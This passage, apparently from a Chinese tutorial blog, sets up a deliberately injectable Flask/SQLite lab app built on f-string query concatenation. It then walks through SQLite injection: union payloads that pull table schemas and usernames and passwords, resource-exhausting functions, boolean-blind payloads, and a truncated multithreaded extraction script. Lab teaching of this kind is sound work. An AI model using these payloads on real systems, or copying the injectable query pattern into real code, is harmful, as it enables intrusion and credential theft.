style=\"color:#B56959;--shiki-dark:#C98A7D\">            username TEXT,</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            password TEXT</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        )</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '''</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 每次启动前清理一下旧数据，防止重复插入</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">DELETE FROM users</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 插入测试数据</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">INSERT INTO users (username, password) VALUES ('admin', 'super_secret_admin_pass')</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">INSERT INTO users (username, password) VALUES ('guest', '123456')</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">INSERT INTO users (username, password) VALUES ('flag', 'ZLARYY&#123;SQ7it3_15_r3@l1y_DiffcUlt?&#125;')</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">commit</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">[+] Database 'vuln_lab.db' initialized with test data.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 2. 存在漏洞的 Web 路由</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> get_user</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    username </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> username</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Please provide a name, e.g., ?name=admin</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 连接到刚才创建的数据库文件</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    conn </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> sqlite3</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">connect</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">r</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">E:</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\O</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">therSQL</span><span style=\"color:#998418;--shiki-dark:#B8A965\">\\S</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">QLite_lab</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\v</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">uln_lab</span><span style=\"color:#998418;--shiki-dark:#B8A965\">.</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">db</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    cursor </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">cursor</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # ⚠️ 核心漏洞点：直接使用 f-string 将用户输入拼接到 SQL 语句中</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 注意这里使用了单引号 '&#123;username&#125;' 把输入包起来</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    query </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"SELECT id, username, password FROM users WHERE username = '</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">username</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">'\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">query</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">fetchall</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"&#x3C;h3>Executed Query:&#x3C;/h3>&#x3C;code></span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">query</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/code>&#x3C;hr>&#x3C;h3>Result:&#x3C;/h3>&#x3C;p></span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/p>\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 将报错信息打印到前端，方便进行报错注入测试</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"&#x3C;h3>Database Error:&#x3C;/h3>&#x3C;p></span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/p>\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    finally</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 启动应用前先初始化数据库</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    init_db</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 运行在 5001 端口，防止与之前的实验冲突</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">debug</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">True</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5001</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>最后执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python3 sqlite_lab.py</span></span></code></pre>\n<p>之后在<code>E:\\OtherSQL\\SQLite_lab\\</code>目录下就会出现一个<code>vuln_lab.db</code>文件，访问<code>http://127.0.0.1/user?name=admin</code>就能看到正常页面</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/25.png\" class=\"\"></p>\n<h2 id=\"注入相关符号和函数\"><a class=\"anchor\" href=\"#注入相关符号和函数\">#</a> 注入相关符号和函数</h2>\n<ul>\n<li>\n<p>注释符：<code>--</code>或<code>--+</code>，<code>--</code>后面通常需要一个空格才会生效，在URL中常用<code>+</code>或<code>%20</code>代替空格</p>\n<p>多行注释：<code>/* ... */</code>，有时候也可以用来代替空格</p>\n</li>\n<li>\n<p>字符串拼接符：<code>||</code>，SQLite不支持<code>concat()</code>函数</p>\n</li>\n<li>\n<p><code>sqlite_version()</code>：获取当前SQLite的版本号</p>\n</li>\n<li>\n<p><code>length()</code>：获取参数字符串的字符长度</p>\n</li>\n<li>\n<p><code>substr(X,Y,Z)或substring()</code>：从字符串<code>X</code>的<code>Y</code>位置开始截取长度为<code>Z</code>的字符，索引从1开始</p>\n</li>\n<li>\n<p><code>unicode()</code>：相当于<code>ascii()</code>函数，返回参数字符串的第一个字符的数字编码</p>\n</li>\n<li>\n<p><code>char(x1,x2,...)</code>：相当于<code>unicode()</code>的逆运算，将数字转化为字符</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>char(97, 100, 109, 105, 110)等同于'admin'</span></span></code></pre>\n</li>\n<li>\n<p><code>hex()</code>：将字符串转换为十六进制格式</p>\n</li>\n<li>\n<p><code>group_concat(X)或group_concat(X,Y)</code>：将多行数据聚合为单行字符串输出，<code>X</code>为列名，<code>Y</code>为可选分隔符，与MySQL相同</p>\n</li>\n<li>\n<p><code>randomblob(N)</code>：生成一个N字节随机Blob（二进制大对象）数据，当给N赋一个非常大的值，比如<code>randomblob(1000000000)</code>，SQLite需要消耗大量的CPU和内存资源去生成这个随机对象，从而导致查询卡顿</p>\n</li>\n<li>\n<p><code>zeroblob(N)</code>：生成一个N字节的全零blob数据，同样可用于消耗内存</p>\n</li>\n</ul>\n<h2 id=\"union联合注入-2\"><a class=\"anchor\" href=\"#union联合注入-2\">#</a> union联合注入</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=admin' order by 3 --+</span></span>\n<span class=\"line\"><span># order by判断列数</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/26.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=-1' union select 1,sqlite_version(),3 --+</span></span>\n<span class=\"line\"><span># 查询数据库版本</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/27.png\" class=\"\"></p>\n<p>由于SQLite中没有<code>database</code>和<code>schema</code>的概念，所以可以通过元数据表<code>sqlite_master</code>来查询所有的表名</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=-1' union select 1,name,3 from sqlite_master where type='table'--+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/28.png\" class=\"\"></p>\n<p>之后我们可以通过sql字段查询之前建表的语句从而查询列名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=-1' union select 1,name,sql from sqlite_master where type='table'--+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/29.png\" class=\"\"></p>\n<p>得到users表里面的列有<code>id</code>、<code>username</code>、<code>password</code></p>\n<p>也可以利用pragma查询列：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=-1' union select 1,name,3 from pragma_table_info('users') --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/32.png\" class=\"\"></p>\n<p>由于<code>group_concat()</code>函数不支持三个参数所以可以实现分别查询username列和password列：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=-1' union select 1,(select group_concat(username,'~') from users),sql from sqlite_master where type='table'--+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/30.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/31.png\" class=\"\"></p>\n<p>也可以：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=-1' union select id,username,password from users --+</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>?name=-1' union select 1,(select group_concat(username||\"~\"||password,',') from users),3 from users --+</span></span></code></pre>\n<h2 id=\"布尔盲注-2\"><a class=\"anchor\" href=\"#布尔盲注-2\">#</a> 布尔盲注</h2>\n<p>原理其实也和之前的一样，利用<code>length()</code>、<code>unicode()</code>、<code>hex()</code>等函数进行挨个字符的判断</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>admin' AND substr((SELECT password FROM users WHERE username='flag'),1,1)='Z' -- </span></span>\n<span class=\"line\"><span># 用上unicode()等函数是便于二分法快速找到字符</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/33.png\" class=\"\"></p>\n<p>那还是直接给个脚本吧：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://127.0.0.1:5001/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">char</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">~!@#$%^&#x26;*()+[]?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">select password from users where username='flag'</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> position </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">101</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    found</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">        \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">None</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    lock</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Lock</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Event</span><span 